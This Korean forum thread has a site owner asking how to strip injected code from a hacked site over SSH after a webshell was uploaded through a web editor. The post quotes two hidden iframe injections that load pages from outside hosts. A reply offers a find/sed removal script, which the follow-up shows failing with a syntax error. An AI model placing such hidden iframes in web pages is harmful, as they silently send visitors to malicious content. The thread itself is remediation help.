ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 920 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다. 로그인

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,658
14년 전 조회 1,047
14년 전 조회 1,339
14년 전 조회 853
14년 전 조회 982
14년 전 조회 778
14년 전 조회 1,105
14년 전 조회 1,006
14년 전 조회 426
14년 전 조회 560
14년 전 조회 638
14년 전 조회 948
14년 전 조회 769
14년 전 조회 769
14년 전 조회 753
14년 전 조회 1,160
14년 전 조회 860
14년 전 조회 863
14년 전 조회 879
14년 전 조회 687
14년 전 조회 1,744
14년 전 조회 1,516
14년 전 조회 944
14년 전 조회 768
14년 전 조회 1,836
14년 전 조회 1,202
14년 전 조회 1,039
14년 전 조회 803
14년 전 조회 1,509
14년 전 조회 3,769
14년 전 조회 2,429
14년 전 조회 1,122
14년 전 조회 736
14년 전 조회 792
14년 전 조회 1,310
14년 전 조회 981
14년 전 조회 1,355
14년 전 조회 1,399
14년 전 조회 1,421
14년 전 조회 622
14년 전 조회 864
14년 전 조회 2,744
14년 전 조회 764
14년 전 조회 1,230
14년 전 조회 809
14년 전 조회 687
14년 전 조회 1,223
14년 전 조회 655
14년 전 조회 1,335
14년 전 조회 921
14년 전 조회 1,579
14년 전 조회 1,507
14년 전 조회 1,019
14년 전 조회 1,251
14년 전 조회 940
14년 전 조회 1,644
14년 전 조회 1,226
14년 전 조회 1,218
14년 전 조회 1,500
14년 전 조회 1,397
14년 전 조회 825
14년 전 조회 898
14년 전 조회 667
14년 전 조회 840
14년 전 조회 1,587
14년 전 조회 2,345
14년 전 조회 2,242
14년 전 조회 1,876
14년 전 조회 1,417
14년 전 조회 1,497
14년 전 조회 1,277
14년 전 조회 1,534
14년 전 조회 641
14년 전 조회 1,270
14년 전 조회 639
14년 전 조회 1,084
14년 전 조회 857
14년 전 조회 1,968
14년 전 조회 738
14년 전 조회 2,559
14년 전 조회 977
14년 전 조회 818
14년 전 조회 2,917
14년 전 조회 682
14년 전 조회 957
14년 전 조회 496
14년 전 조회 821
14년 전 조회 600
14년 전 조회 1,292
14년 전 조회 726
14년 전 조회 1,099
14년 전 조회 722
14년 전 조회 651
14년 전 조회 630
14년 전 조회 1,337
14년 전 조회 799
14년 전 조회 688
14년 전 조회 709
14년 전 조회 1,376
14년 전 조회 1,387
🐛 버그신고